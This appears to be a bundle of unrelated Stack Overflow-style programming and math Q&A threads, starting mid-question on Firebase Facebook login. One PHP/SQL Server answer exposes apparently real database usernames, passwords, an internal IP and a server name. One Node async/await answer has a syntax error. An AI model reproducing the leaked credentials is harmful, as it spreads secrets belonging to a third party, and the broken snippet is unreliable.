But I am not able to authenticate with firebase to sign into firebase by calling handleFacebookAccessToken(accessToken: AccessToken?) method because it is giving invalid access token.
If I manually get an access token from a test user by going to the app in facebook developer console and
hardcode it in the handleFacebookAccessToken(token: String?) method below then it works.
private fun handleFacebookAccessToken(token: String?) {
        val authCredential = FacebookAuthProvider.getCredential(token)
        firebaseAuth?.signInWithCredential(authCredential)
            ?.addOnCompleteListener(this) { task ->
                if (task.isSuccessful) {
                    // Sign in success, update UI with the signed-in user's information
                    Log.d("MainActivity:", "signInWithCredential:success")
                } else {
                    // If sign in fails, display a message to the user.
                    Log.w("dsds", "signInWithCredential:failure ", task.exception)
                    Toast.makeText(baseContext, "Authentication failed.",
                        Toast.LENGTH_SHORT).show()
                }
            }
    }

I am getting this exception below.

com.google.firebase.auth.FirebaseAuthInvalidCredentialsException: The supplied auth credential is malformed or has expired. [ Remote site 5XX from facebook.com for VERIFY_CREDENTIAL ]
        at com.google.android.gms.internal.firebase-auth-api.zztt.zza(com.google.firebase:firebase-auth@@20.0.4:28)
        at com.google.android.gms.internal.firebase-auth-api.zzvb.zza(com.google.firebase:firebase-auth@@20.0.4:9)
        at com.google.android.gms.internal.firebase-auth-api.zzvc.zzk(com.google.firebase:firebase-auth@@20.0.4:1)
        at com.google.android.gms.internal.firebase-auth-api.zzuz.zzh(com.google.firebase:firebase-auth@@20.0.4:25)
        at com.google.android.gms.internal.firebase-auth-api.zztq.zzk(com.google.firebase:firebase-auth@@20.0.4:1)
        at com.google.android.gms.internal.firebase-auth-api.zzpr.zza(com.google.firebase:firebase-auth@@20.0.4:2)
        at com.google.android.gms.internal.firebase-auth-api.zzvg.zza(com.google.firebase:firebase-auth@@20.0.4:25)
        at com.google.android.gms.internal.firebase-auth-api.zzuq.zzd(com.google.firebase:firebase-auth@@20.0.4:4)
        at com.google.android.gms.internal.firebase-auth-api.zzpy.zzc(com.google.firebase:firebase-auth@@20.0.4:4)
        at com.google.android.gms.internal.firebase-auth-api.zztu.zzd(com.google.firebase:firebase-auth@@20.0.4:5)
        at com.google.android.gms.internal.firebase-auth-api.zzsg.zzd(com.google.firebase:firebase-auth@@20.0.4:3)
        at com.google.android.gms.internal.firebase-auth-api.zzsf.accept(Unknown Source:6)
        at com.google.android.gms.common.api.internal.zacj.doExecute(com.google.android.gms:play-services-base@@17.1.0:2)
        at com.google.android.gms.common.api.internal.zaf.zac(com.google.android.gms:play-services-base@@17.1.0:6)
        at com.google.android.gms.common.api.internal.GoogleApiManager$zaa.zac(com.google.android.gms:play-services-base@@17.1.0:167)
        at com.google.android.gms.common.api.internal.GoogleApiManager$zaa.zab(com.google.android.gms:play-services-base@@17.1.0:139)
        at com.google.android.gms.common.api.internal.GoogleApiManager$zaa.zaa(com.google.android.gms:play-services-base@@17.1.0:105)
        at com.google.android.gms.common.api.internal.GoogleApiManager.handleMessage(com.google.android.gms:play-services-base@@17.1.0:145)
        at android.os.Handler.dispatchMessage(Handler.java:103)
        at com.google.android.gms.internal.base.zar.dispatchMessage(com.google.android.gms:play-services-base@@17.1.0:8)
        at android.os.Looper.loop(Looper.java:224)
        at android.os.HandlerThread.run(HandlerThread.java:67)

A: Login to https://developers.facebook.com/apps/
Select app and confirm App Type is Consumer

Solution referred from https://github.com/FirebaseExtended/flutterfire/issues/4524#issuecomment-764610739


text:
Q: How close is the exponential of a near-idempotent to $1$? Let $p$ be an element of a unital $C^*$-algebra $A$. One can show that if $p^2=p$, then $e^{2\pi i p}=1$.
Question 1: What is the largest $\delta>0$ (independent of $A$) such that whenever
$$\|p^2-p\|<\delta,$$
we have $\|e^{2\pi ip}-1\|<1$?
It's possible that that answer to Question 1 depends on $\|p\|$ and/or $\|1-p\|$. If so let's say that both of these quantities are less than some constant $C$. Then the relevant question would be:
Question 2: What is the largest $\delta_C>0$ (independent of $A$) such that whenever
$$\|p^2-p\|<\delta_C,$$
we have $\|e^{2\pi ip}-1\|<1$?
Remark: Using the holomorphic functional calculus, one can construct an idempotent $e$ somewhat close to $p$, but with possibly larger norm. One can show using this and the fact that
$$\|e^a-e^b\|\leq e^{\|a-b\|}\|a-b\|,$$
that if $\|p\|$ and $\|1-p\|$ are small enough, then $\delta$ can be taken to be $\frac{1}{4}$. But this number seems a bit mysterious to me. I feel like there might be something simpler I am missing, or perhaps something like this is known in the literature?


text:
Q: Define a sub-query in a Model-Defined Function in Entity Framework Is is possible to define a subquery in a Model-Defined Function in Entity Framework?  We have a situation where we have a customer object that has a history of names in an another table.  We want to return the most current name as part of that customer object.
The model-defined function might look something like this:
<Function Name="CurrentName" ReturnType="Edm.String">
   <Parameter Name="e" Type="Model.Customer"/>
   <DefiningExpression>
      (select top(1) n.LegalName from Entities.CustomerNames as n order by n.EffectiveDate Desc )
  </DefiningExpression>
  </Function>

Unfortunately, the above doesn't work. We get an error of:

The result type 'Edm.String' specified in the declaration of the
  function 'SNCCModel.CurrentLegalName' does not match the result type
  'Transient.collection[Transient.rowtype(LEGAL_NAME,Edm.String(Nullable=True,DefaultValue=,MaxLength=512,Unicode=False,FixedLength=False))]' of the function definition

Any suggestions?  Is this supposed to work?  Sorry, but refactoring our data model to store the most recent name in the customer table is not an option.
Thanks,
Rick

A: try the following query:
ANYELEMENT(select VALUE top(1) n.LegalName from Entities.CustomerNames as n order by n.EffectiveDate Desc )
Basically the query was returning a collection of rows, and expected result type is String. By specifying select VALUE, you get rid of the row (and project just collection of strings), and by wrapping it all in ANYELEMENT, you flatten the structure and return just single element from the result collection (in this case, the only element).


text:
Q: Get return value of function imported from another module in Node I have a main app.js file and  a helper.js file as so:
helper.js:
  exports.lookup = function(id){

  var xml = '<?xml version="1.0" encoding="ISO-8859-1"?> \
              <data>\
               <key>aSecretKey</key>\
               <request>read</request>\
               <id>'+id+'</id> \
              </data>';

  var options = {
    url:'https://somesite.com',
    headers: {'Content-Type': 'application/xml'},
    body:xml
  };

  request.post(options, function (e, r, body){
    var data = JSON.parse(parser.toJson(body)).result;

    return data;

  });
};

app.js:
app.post('/customer', (req, res) => {

  flg.lookup(req.body.id);  <---- How do I access what this imported function returns?

eg, console.log(result of flg.lookup)

  res.render('index', {customerEmail:'test5@test5.com'});

});

I'd like to pass the function from the helper file and return it's result in app.js.
Currently, it is returning only undefined, which is strange.

A: Because request dosen't support promises you can wrap your api call in a Promise and use it with async await
helper.js
exports.lookup = function(id){

  var xml = '<?xml version="1.0" encoding="ISO-8859-1"?> \
              <data>\
              <key>aSecretKey</key>\
              <request>read</request>\
              <id>'+id+'</id> \
              </data>';

  var options = {
    url:'https://somesite.com',
    headers: {'Content-Type': 'application/xml'},
    body:xml
  };

  return new Promise((resolve, reject) => {
    request.post(options, function (e, r, body){
      if (e) {
        reject(e);
      }

      var data = JSON.parse(parser.toJson(body)).result;
      resolve(data);
    });
  });
};

app.js
app.post('/customer', async (req, res) => {
  try {
    const result = await flg.lookup(req.body.id);
    console.log(result);
    res.render('index', {customerEmail:'test5@test5.com'});
  catch (e) {
    // do something with the error
  }
});

A: Problem / solution
helper.jsperforms an asynchronous http request. Hence, return data is executed after the function lookup has returned.
You want to use a callback function instead of return.
You may want to read some documentation about how to deal with asynchronous programming in node.js, here is a reference article.
Corrected code
Updated code would look like this:
helper.js
  exports.lookup = function(id, callback){

  var xml = '<?xml version="1.0" encoding="ISO-8859-1"?> \
              <data>\
               <key>aSecretKey</key>\
               <request>read</request>\
               <id>'+id+'</id> \
              </data>';

  var options = {
    url:'https://somesite.com',
    headers: {'Content-Type': 'application/xml'},
    body:xml
  };

  request.post(options, function (e, r, body){
    var data = JSON.parse(parser.toJson(body)).result;

    callback(null, data);

  });
};

app.js
app.post('/customer', (req, res) => {

  flg.lookup(req.body.id, function(err, res) {
      // this callback function is called by lookup function with the result
      if (err)
          throw err

      console.log('result is', res);

      res.render('index', {customerEmail:'test5@test5.com'});

  });

});

Alternative solutions
You may also solve the problem ysing Promises or async / await, I let you look these up in your favorite search engine.


text:
Q: Pseudo-class nesting / SCSS Linter Warning I'm relatively new to SCSS and try to improve my skills using a linter. I have this little example, where I want to display a submenu only if the parent menu-item is hovered. While this code is working, the linter gives me a "Class should be nested within its parent Pseudo-class".

.menu-item {
  .submenu {
    display: none;
  }

  &:hover .submenu {
    display: block;
  }
}

      Menu 1

Submenu 1.1

Submenu 1.2

I have no idea how the :hover part could be nested into the .submenu part. Can you help?

A: I found the solution and it was so simple, I just had to nest the .submenu into the hover part :(

.menu-item {
  .submenu {
    display: none;
  }

  &:hover {
    .submenu {
      display: block;
    }
  }
}

      Menu 1

Submenu 1.1

Submenu 1.2

A: Your SASS code will compiled to the below CSS code which is working fine. Just make sure that your SASS code is properly compiling to CSS.

.menu-item .submenu {
  display: none;
}

.menu-item:hover .submenu {
  display: block;
}

      Menu 1

Submenu 1.1

Submenu 1.2


text:
Q: How do I set an array equal to all these inputs? This program allows the user to create multiple clients. How do I allow an array to be equal to all these inputs? When I display the array the only thing that is shown is the last client added.
static String [] clients = new String[100];

void getClient()
    {
        String input = new String (" ");
        for(int i = 0; i < ccount; i++)
            clients[i] = input;
        {
        input = JOptionPane.showInputDialog("Enter client ID: ");
            while(checkClientID(input) == false)
            {
                input = JOptionPane.showInputDialog("Invalid! Only 9 digits allowed. Re-enter client ID: ");
            }//end while
        clientID = input;
        input = JOptionPane.showInputDialog("Enter client name: ");
            while(checkCname(input) == false)
            {
                input = JOptionPane.showInputDialog("Invalid! Only 50 alphabetical characters allowed! Re-enter client name: ");
            }//end while
        cname = input;
        input = JOptionPane.showInputDialog("Enter client address: ");
        caddress = input;
        input = JOptionPane.showInputDialog("Enter client email: ");
            while(checkCemail(input) == false)
            {
                input = JOptionPane.showInputDialog("Invalid! Must enter at least  one character before @ and .com at end, Re-enter email: ");
            }//end while
        cemail = input;
        input = JOptionPane.showInputDialog("Enter monthly service fees: ");
            while(checkCfees(input) == false)
            {
                input = JOptionPane.showInputDialog("Invalid! Must enter real number with two decimal places, Re-enter monthly service fees: ");
            }//end while
        cfees = input;
        input = JOptionPane.showInputDialog("Enter Employee ID assigned to client: ");
        while(checkEmpID(input) == false)
        {
            input = JOptionPane.showInputDialog("Invalid! Only 9 digits allowed. Re-enter employee ID: ");
        }//end while
        cempID = input;
        mainMenu();
        }//end for
    }//end getClient

A: Using ArrayList:
First, declare an ArrayList of ArrayList:
static ArrayList<ArrayList> clients = new ArrayList<>();

Each time the function getCliente() is called a Customer is added to the list:
public static void getCliente() {
    String input;
    clients.add(new ArrayList<>());
    int i=clients.size()-1;

    input = JOptionPane.showInputDialog("Enter client ID: ");
        while(checkClientID(input) == false)
        {
            input = JOptionPane.showInputDialog("Invalid! Only 9 digits allowed. Re-enter client ID: ");
        }//end while
    clientID = input;
    clients.get(i).add(clientID);
    input = JOptionPane.showInputDialog("Enter client name: ");
        while(checkCname(input) == false)
        {
            input = JOptionPane.showInputDialog("Invalid! Only 50 alphabetical characters allowed! Re-enter client name: ");
        }//end while
    cname = input;
    clients.get(i).add(cname);
    input = JOptionPane.showInputDialog("Enter client address: ");
    caddress = input;
    input = JOptionPane.showInputDialog("Enter client email: ");
        while(checkCemail(input) == false)
        {
            input = JOptionPane.showInputDialog("Invalid! Must enter at least  one character before @ and .com at end, Re-enter email: ");
        }//end while
    cemail = input;
    clients.get(i).add(cemail);
    input = JOptionPane.showInputDialog("Enter monthly service fees: ");
        while(checkCfees(input) == false)
        {
            input = JOptionPane.showInputDialog("Invalid! Must enter real number with two decimal places, Re-enter monthly service fees: ");
        }//end while
    cfees = Double.parseDouble(input);
    clients.get(i).add(cfees);
    input = JOptionPane.showInputDialog("Enter Employee ID assigned to client: ");
    while(checkEmpID(input) == false)
    {
        input = JOptionPane.showInputDialog("Invalid! Only 9 digits allowed. Re-enter employee ID: ");
    }//end while
    cempID = input;
    clients.get(i).add(cempID);
    //mainMenu();
}

To iterating, and print the list we use this function:
public static void printClients() {
    for (ArrayList client: clients) {
        System.out.println("Client ID: " + client.get(0));
        System.out.println("Client name: " + client.get(1));
        System.out.println("Client address: " + client.get(2));
        System.out.println("Client email: " + client.get(3));
        System.out.println("Monthly service fees: " + client.get(4));
        System.out.println("Employee ID assigned to client: " + client.get(5));
        System.out.println("--------------------------------------------------");
    }
}


text:
Q: Custom html attribute in dom-repeat template in Polymer 0.9 I'm trying to bind a field inside a dom-repeat template in polymer 0.9 to an custom attribute of a div tag. In other words, just some random attribute I made up (which seems to work fine in other circumstances), but the attribute never ends up getting added to the div (if I view in Inspect Element, my attribute isn't there).
example:

If I inspect the div, the 'vendor-id' attribute isn't there. If I bind the same thing to the 'id' attribute of the div, it binds perfectly fine. I can't use id though in my scenario because I have multiple of these divs within the same row. I'm storing the primary key for edit / delete functionality for a crud interface. Anyways, I'm sure I can work around this, but really want to ensure I understand why this custom attribute isnt getting added to the DOM. Any thoughts?

A: I ran into the same problem.
You can use the $= assignment.

It is stated in the Polymer docs.
I hope that answers your question.


text:
Q: Адаптивная картина в HTML Цель следующая - добиться ресайза картинки в меньшую сторону от оригинального разрешения.
Я использовал следующий css код:
.image {
        max-width: 100%;
        height: auto;
    }

Html:

Но картинка ресайзится только по ширине, по высоте - игнорируется. Почему так? Как это исправить?

A: Решение ( !important; ставит приоритет на сss селектор ):
.image
    {
        max-width: calc(100% - 10mm);
        height: auto !important;
    }


text:
Q: Login fail - SQLSTATE[28000]: [Microsoft][ODBC Driver 13 for SQL Server][SQL Server]Login failed for user 'visitantere' Trying to connect my sql server connection with my PHP application, this issue

SQLSTATE[28000]: [Microsoft][ODBC Driver 13 for SQL Server][SQL Server]Login failed for user 'visitantere'

appeared.
When I try connect it in dbeaver or ssms, it works fine.
I use PHP 7.2
PHP code:
<?php

$user = "usrpostgres";
$password = "P0stgres";

try{
    /*//banco de dados do sace
    $connection = new PDO('pgsql:host=10.16.2.62;port=5432;dbname=cprm_sace_mundau', $user, $password);

    //banco de dados novo para hecdss
    $mundau_hec = new PDO('pgsql:host=10.16.2.62;port=5432;dbname=cprm_sace_mundau_hec', $user, $password);*/

    //banco de dados Sql Server do sace
    $connection = new PDO('sqlsrv:server=SERVRHN-RE\SQLEXPRESS;Database=jdbc:BANCO_HIDRO_SUREG_RE', 'login', 'password');
    $connection->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );

} catch (PDOException $erro){

    echo $erro->getMessage();

}

A: JDBC is for using SQL Server drivers in Java. Take "jdbc:" out of your connection string:
$connection = new PDO('sqlsrv:server=SERVRHN-RE\SQLEXPRESS;Database=BANCO_HIDRO_SUREG_RE', 'visitantere', 'cprm#123*');


text:
Q: Question arising from Voevodsky's talk on inconsistency This question arises from the talk by Voevodsky mentioned in
this recent MO question. On one of his slides, Voevodsky says that

a general formula even with one free variable describes a subset of
  natural numbers for which one can prove, using an argument similar to the
  one which is used in Goedel's proof, that there is not a single number n
  which can be shown to belong to this subset or not to belong to it.

And in his spoken commentary he adds that there is a formula defining

a subset about which you can prove that it is impossible to say
  anything about this subset, whatsoever.

I interpret this as the claim that there is an arithmetically definable
set $S$ for which there is no theorem of Peano arithmetic of the form
$n\in S$ or $n\not\in S$. Perhaps I am misinterpreting, but can anyone
supply (informally) the definition of such a set?

A: Let $S$ be a first order definable Martin-Löf random set such as Chaitin's $\Omega$. If Peano Arithmetic, or ZFC, or any other theory with a computable set of axioms, proves infinitely many facts of the form $n\in S$ or $n\not\in S$ then it follows that $S$ is not immune or not co-immune and hence not ML-random after all.
(The set of theorems of our theory of the form $n\in S$ (or $n\not\in S$) is computably enumerable and infinite, hence has an infinite computable subset. Being immune means having no infinite computable subset.)
So only finitely many such facts can be proved. Now using an effective bijection between $\mathbb N$ and $\mathbb N\times \mathbb N$, decompose $S$ into infinitely many "columns", $S=S_0\oplus S_1\oplus\cdots$. Then one of these columns has the required property.
The theory should be strong enough to deal effectively with breaking a definable set up into columns and associating values in a column with values in the original set, but this is certainly doable in PA or ZFC.

A: (n=n)&(con(ZF))


text:
Q: Intermediate certificate doesn't match private key with Go I am trying to build a Go (golang) program that will run https application.
I am really having trouble with SSL intermediate certificate and don't know where the problem, is it from my certificate or from Go language application.
So, I have from my SSL CA providers two certificate files : the server certificate, and intermediate certificate.
So, I am trying to load these certificates from my go code like this:
tlsConfig := &tls.Config{}
tlsConfig.Certificates = make([]tls.Certificate, 2)
var err error
tlsConfig.Certificates[0], err = tls.LoadX509KeyPair(serverCertificate, privateKey)
if err != nil {
    log.Fatal(err)
}
tlsConfig.Certificates[1], err = tls.LoadX509KeyPair(intermeddiateCertificate, privateKey)
if err != nil {
    log.Fatal(err)
}
tlsConfig.BuildNameToCertificate()

server := &http.Server{
    ReadTimeout:    10 * time.Second,
    WriteTimeout:   10 * time.Second,
    MaxHeaderBytes: 1 << 20,
    TLSConfig:      tlsConfig,
    Addr:           ":443,
}

   app.RunServer(server)

the code fails on the second load of certificate on this line
tls.LoadX509KeyPair(intermeddiateCertificate, privateKey)

The error is the certificate doesn't match the private key.
Does the intermediate certificate should match the private key in SSL/TLS world?
or it doesn't have to.
And in case doesn't have to, then how to load the certificate without a private key?
should I return back to my CA and tell them how come the intermediate certifcate doesn't match the private key?

A: You don't have a key for the intermediate certificate, only for the server certificate. Note that I don't know much about Go, but according to Golang SSL TCP socket certificate configuration you simply include the intermediate certificate into the same PEM file as the server certificate.


text:
Q: Porting a C++ application to android Is it possible to port a C++ application which uses the STL extensively to Android? I understand that currently the NDK does not support this, but is there any effort (open source or otherwise) underway to achieve this?
If not is there a way to cross compile libstdc++ for Android?
UPDATE:
Ndk Revision 5 promises a default STL implementation based on STLport.
http://android-developers.blogspot.com/2011/01/gingerbread-ndk-awesomeness.html Read this official NDK blog post, http://developer.android.com/sdk/ndk/index.html>and the revision notes.

A: You may want to start with Dmitry Moskalchuk's modified version of the NDK (includes support for exceptions, RTTI, and the standard c++ library).  Keep in mind that if you go down this path your application's size will be larger as you will be statically linking a c++ library into it.  Also, this thread from the andriod-ndk group may give better direction on how to incorporate the STL.

A: You could always implement what you need yourself. The STL is only written using the CRT, OS headers and standard C++. It would depend on what you need done.


text:
Q: Atof() и символ-разделитель Как заставить работать atof() в локали, где в качестве разделителя в числе double используется запятая, а не точка?
A: Гляньте сюда.
Если коротко:
#include <sstream>
#include <locale>

...
float value = 0.0f;
std::istringstream istr(str); // str содержит строковое представление

istr.imbue(<нужная локаль>);
istr >> value;

(Оберните это в функцию.)
С другой стороны, если всё ваше приложение работает в некоторой локали, можно просто в начале main вызвать setlocale.


text:
Q: http client header authorization when claim based security I am calling a REST api from MVC application where using claims based security.
How would I set the authentication header?
I don't have password so I guess I shouldn't use Basic. If using Bearer how to I get token?
Client.DefaultRequestHeaders.Authorization= new AuthenticationHeaderValue(
    "Basic", Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(
    $"{"username"}:{"password"}")));

client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue(
    "Bearer",token);


text:
Q: Host IP Change in MySQL Replication We have MySQL server and its replication running on another machine. Both Master and slave is running on MySQL 5.6,  and now the plan is to update the IP of both master and slave machines. We have planned to use the below query in replication.
STOP SLAVE ;
CHANGE MASTER TO MASTER_HOST = '1.2.3.4', MASTER_LOG_FILE = 'abc.123', MASTER_LOG_POS = '1234';
START SLAVE;

Can someone confirm whether the above method is actually correct and has enough information required incase of master host ip update for replication.
Thanks in advance.

A: That looks like a reasonable approach, but there are a lot of details about your environment that I cannot know, so I don't know if the steps you show are all you will need to do.
Before changing the replication configuration, I would run the mysql client on the replica machine, to connect to the master using the new IP address.
Example:
$ mysql -h 1.2.3.4 -u <repluser> -p'<replpassword>'

Use the repluser and replpassword you use for the replica to connect to the master.
That will test that the replica machine can connect (i.e. there is a working network route, no firewalls blocking, the user & password are correct, etc.).
Then in the mysql client shell, verify that the repluser has the REPLICATION SLAVE privilege, and verify that the master's binary log coordinate is what you expect.
mysql> show grants;
mysql> show master;


text:
Q: php sql query statement for total I am trying to get total from a stock table from my database.
I have data as follows:
Name     Quantity    Type
A        12          add
B        10          add
A        3           sub
B        4           sub

Now I want to calculate total quantity as add refers addition and sub refers subtraction. Output must be like:
Name     Quantity
A        9
B        6

I have used following:
        $this->db->select('stock.Name,sum() quantity as tot');
        $this->db->from('stock');
        $this->db->group_by('stock.Name');
        $query = $this->db->get();
        return $query->result();

A: You can use a CASE to determine if the quantity needs to be added or subtracted:
select name,
    sum(case
            when type = 'add'
                then quantity
            when type = 'sub'
                then - quantity
            end) quantity
from your_table
group by name;

Note that this will not honor any operation other than add and sub, which should be a desired case.

A: select name, sum( case when type = 'add' then quantity else -quantity end) as total
from my_table
group by name


text:
Q: Upload large files to Azure Media Services in Xamarin I am trying to upload a .mp4 file, selected from the user's iOS or Android device, to my Azure Media Services account.
This code works for small files ( less than ~95MB):
public static async Task<string> UploadBlob(string blobContainerSasUri, string blobName, byte[] blobContent, string path)
    {
        string responseString;
        int contentLength = blobContent.Length;
        string queryString = (new Uri(blobContainerSasUri)).Query;
        string blobContainerUri = blobContainerSasUri.Split('?')[0];
        string requestUri = string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}/{1}{2}", blobContainerUri, blobName, queryString);

        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(requestUri);
        request.Method = "PUT";
        request.AllowWriteStreamBuffering = false;
        request.Headers.Add("x-ms-blob-type", "BlockBlob");
        request.ContentLength = contentLength;
        request.Timeout = Int32.MaxValue;
        request.KeepAlive = true;

        int bufferLength = 1048576; //upload 1MB at time, useful for a simple progress bar.

        Stream requestStream = request.GetRequestStream();
        requestStream.WriteTimeout = Int32.MaxValue;

        ProgressViewModel progressViewModel = App.Locator.GetProgressBar(App.Locator.MainViewModel.currentModuleItemId);
        MyVideosPage myVideosPage = App.Locator.GetVideosPage(App.Locator.MainViewModel.currentModuleItemId);

        FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
        int nRead = 0;
        int currentPos = 0;
        while ((nRead = fileStream.Read(blobContent, currentPos, bufferLength)) > 0)
        {

            await requestStream.WriteAsync(blobContent, currentPos, nRead);
            currentPos += nRead;

        }
        fileStream.Close();
        requestStream.Close();

        HttpWebResponse objHttpWebResponse = null;
        try
        {
            // this is where it fails for large files
            objHttpWebResponse = (HttpWebResponse)request.GetResponse();

            Stream responseStream = objHttpWebResponse.GetResponseStream();
            StreamReader stream = new StreamReader(responseStream);

            responseString = stream.ReadToEnd();
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }
        finally
        {
            if (objHttpWebResponse != null)
                objHttpWebResponse.Close();
        }
        return responseString;
    }

An exception is thrown after this line is called:
(HttpWebResponse)request.GetResponse();

The exception message is "The request body is too large and exceeds the maximum permissible limit."
The exception StatusCode is "RequestEntityTooLarge".
How can I upload large files? Is this a problem with HttpWebRequest, or Azure Media Services?

A: Azure Storage supports one shot upload (aka PutBlob API) up to 256MB if you are using the new REST API versions. But since you are not specifying the REST API version, you're defaulting to a very old version where the maximum supported size of one shot upload is 100MB.
Use x-ms-version: 2018-03-28 header to be able to upload up to 256MB in one HTTP request.
If you have to deal with larger files, you will need to use block & commit upload. You will need to use PutBlock API to stage blocks from the source file. Blocks can be up to 100MB each. Then you need to commit all the blocks using the PutBlockList API. If you don't have to deal with this logic yourself, simply use the Azure Storage SDK for .NET (supports Xamarin) and use the uploadFromFile method. It is simple, and resilient.


text:
Q: Can Gradle produce multiple Kotlin Native binaries (for one OS)? Can I convince Gradle to produce multiple binaries? I have several Kotlin packages with files that have a proper "fun main(...)" but the default IntelliJ build.gradle file only allows me to specifiy one "compilations.main.entryPoint".
I could put the main functions into Kotlin classes or objects if that would help.
Changing the entryPoint argument to an array did not work :)
If it's not currently possible, is it a general limitation of Gradle or only of the "kotlin-multiplatform" plugin?
plugins {
    id 'kotlin-multiplatform' version '1.3.11'
}

repositories {
    mavenCentral()
}

kotlin {
    targets {
        // For ARM, preset should be changed to presets.iosArm32 or presets.iosArm64
        // For Linux, preset should be changed to e.g. presets.linuxX64
        // For MacOS, preset should be changed to e.g. presets.macosX64
        fromPreset(presets.mingwX64, 'mingw')

        configure([mingw]) {
            // Comment to generate Kotlin/Native library (KLIB) instead of executable file:
            compilations.main.outputKinds('executable')
            // Change to specify fully qualified name of your application's entry point:
            compilations.main.entryPoint = 'hello.main'
        }
    }
    sourceSets {
        // Note: To enable common source sets please comment out 'kotlin.import.noCommonSourceSets' property
        // in gradle.properties file and re-import your project in IDE.
        mingwMain {
        }
        mingwTest {
        }
    }
}

task runProgram {
    def buildType = 'debug' // 'release' - Change to 'debug' to run application with debug symbols.
    dependsOn "link${buildType.capitalize()}ExecutableMingw"
    doLast {
        def programFile = kotlin.targets.mingw.compilations.main.getBinary('EXECUTABLE', buildType)
        exec {
            executable programFile
            args ''
        }
    }
}

A: In https://github.com/JetBrains/kotlin-native/issues/2505 I've just got the answer that this will be possible with Kotlin Native 1.3.20!


text:
Q: memset on 2d array of chars With an 2D array of ints, everything is fine:
 int **p = new int*[8];
 for (int i = 0; i < 8; i++)
    p[i] = new int[8];
 memset(p, 0, 64 * sizeof(int))

But with 2D array of chars, I get a runtime error
 char **p = new char*[8];
 for (int i = 0; i < 8; i++)
     p[i] = new char[8];
 memset(p, 0, 64 * sizeof(char));

What is wrong with my code?

A: I think both might be wrong and only the second one is failing at runtime. Anytime you allocate an array with new it goes on the heap and it returns a pointer. So in your case you have 8 pointers of type X storied in p. You do not have an 8x8 continuous block of memory but rather 8 pointers to 8 blocks of memory, all of size 8*sizeof(X).
The solution is to call memset for each element in p or to allocate one block of memory and use index math to emulate multidimensional access or some other trick I am probably missing.

A: This would work if your array had not been dynamically allocated:
memset(p, 0, 8 * 8 * sizeof(char[0][0]));

Note that now it is being passed the size of an element of the array to sizeof.
But in your case the solution is indeed to call memset for each element in p:
for (int i = 0; i < 8; i++) {
    memset(p[i], 0, sizeof(p[i][0]) * 8);
}

As said before, another solution is to transform p in a 1D array.


text:
Q: ejabberd MAM doesn't work with Strophe js I am trying to show the conversation between the two users even after the users logout and login. I mean when user1 logged out and again logged in, he should see the conversations made with the user2. I am using Ejabberd XMPP server and Strophe Js to retrive the messages.
As I found this strophe.mam.js plugin to do this but raising the error and cant get the messages.
Here is my code:
function onConnect(status)
    {
        // Functions runs while users trys to login to the XMPP server
        var iq = null;

        switch (status)
        {
            case Strophe.Status.CONNECTING:
                log('Connecting.');
                break;
            case Strophe.Status.CONNFAIL:
                log('Failed to connect.');
                $('#connect').get(0).value = 'connect';
                break;
            case Strophe.Status.DISCONNECTING:
                log('Disconnecting.');
                break;
            case Strophe.Status.DISCONNECTED:
                log('Disconnected.');
                $('#connect').get(0).value = 'connect';
                break;
            case Strophe.Status.CONNECTED:
                log('Connected.');
                connection.addHandler(onMessage, null, 'message', null, null,  null);
                connection.addHandler(onPresence, null, 'presence', null, null, null);

                iq = $iq({type: 'get'}).c('query', {xmlns: 'jabber:iq:roster'});
                connection.sendIQ(iq, onRoster);

                break;
            default:
                break;
        }
    }

function onMessage(msg) {
    debugger;
    var fromJid = msg.getAttribute("from"),
        bareFromJid = Strophe.getBareJidFromJid(fromJid),
        type = msg.getAttribute("type"),
        elems = msg.getElementsByTagName("body");

    if (type == "chat" && elems.length > 0) {
        var body = elems[0],
            message = Strophe.getText(body);

        showMessage(bareFromJid + ": " + message);
              connection.mam.query("yashwanth@localhost", {
  "with": bareFromJid,
  onMessage: function(message) {
            console.log("Message from " + bareFromJid,
                ": " + message);
            return true;
  },
  onComplete: function(response) {
            console.log("Got all the messages");
  }
    });
    }

    return true;
}

function send() {
    // Handles with sending the message
    var to = $('#to-jid').get(0).value,
        myBareJid = Strophe.getBareJidFromJid(connection.jid);
        message = $('#message').get(0).value,
        reply = $msg({to: to, type: 'chat'})
            .c("body")
            .t(message);

    connection.send(reply.tree());
    showMessage(myBareJid + ": " + message);
}

$(document).ready(function () {
    connection = new Strophe.Connection(BOSH_SERVICE);
    messagebox = $("#messages");
    messagebox.val("");
    logbox = $("#log-messages");
    logbox.val("");
    rosterbox = $("#roster");
    rosterbox.val("");
    connection.rawInput = function (data) { log('RECV: ' + data); };
    connection.rawOutput = function (data) { log('SEND: ' + data); };

    Strophe.log = function (level, msg) { log('LOG: ' + msg); };

    login();
    $('#send').bind('click', send);
});

So whenever the user receives the message there will be something in the console. But it returns me this error in my logs
RECV: <body xmlns='http://jabber.org/protocol/httpbind'><iq xmlns='jabber:client'
from='yashwanth@localhost' to='yashwanth@localhost/22064184271436881211352579'
id='yashwanth@localhost' type='error'><query xmlns='urn:xmpp:mam:0'><x xmlns='jabber:x:data'><field
var='FORM_TYPE'><value>urn:xmpp:mam:0</value></field><field var='with'>
<value>shabda@localhost</value></field></x><set xmlns='http://jabber.org/protocol/rsm'/></query>
<error code='400' type='modify'><bad-request xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'/></error>
</iq></body>

Please help me out with this

A: Your MAM query is not correctly formatted.
You are missing the attribute type="submit" on the x element with xmlns jabber:x:data feature. Type is mandatory in XEP-0004 Data Forms
You IQ should be:
<iq type='set' id='juliet1'>
  <query xmlns='urn:xmpp:mam:0'>
    <x xmlns='jabber:x:data' type='submit'>
      <field var='FORM_TYPE' type='hidden'>
        <value>urn:xmpp:mam:0</value>
      </field>
      <field var='with'>
        <value>shabda@localhost</value>
      </field>
    </x>
    <set xmlns='http://jabber.org/protocol/rsm'/>
  </query>
</iq>

See Example 6 in XEP-0313 Message Archive Management.
The MAM strophe plugin had a bug. We prepared a fix here: https://github.com/processone/strophejs-plugins/commit/5a7857e2ab625c0521c68719d7e220f00c32c593
And submitted this pull request: https://github.com/strophe/strophejs-plugins/pull/65

A: I had a problem with MAM. See this link: https://www.ejabberd.im/forum/25028/solved-how-configure-and-test-modmam-message-archive-management
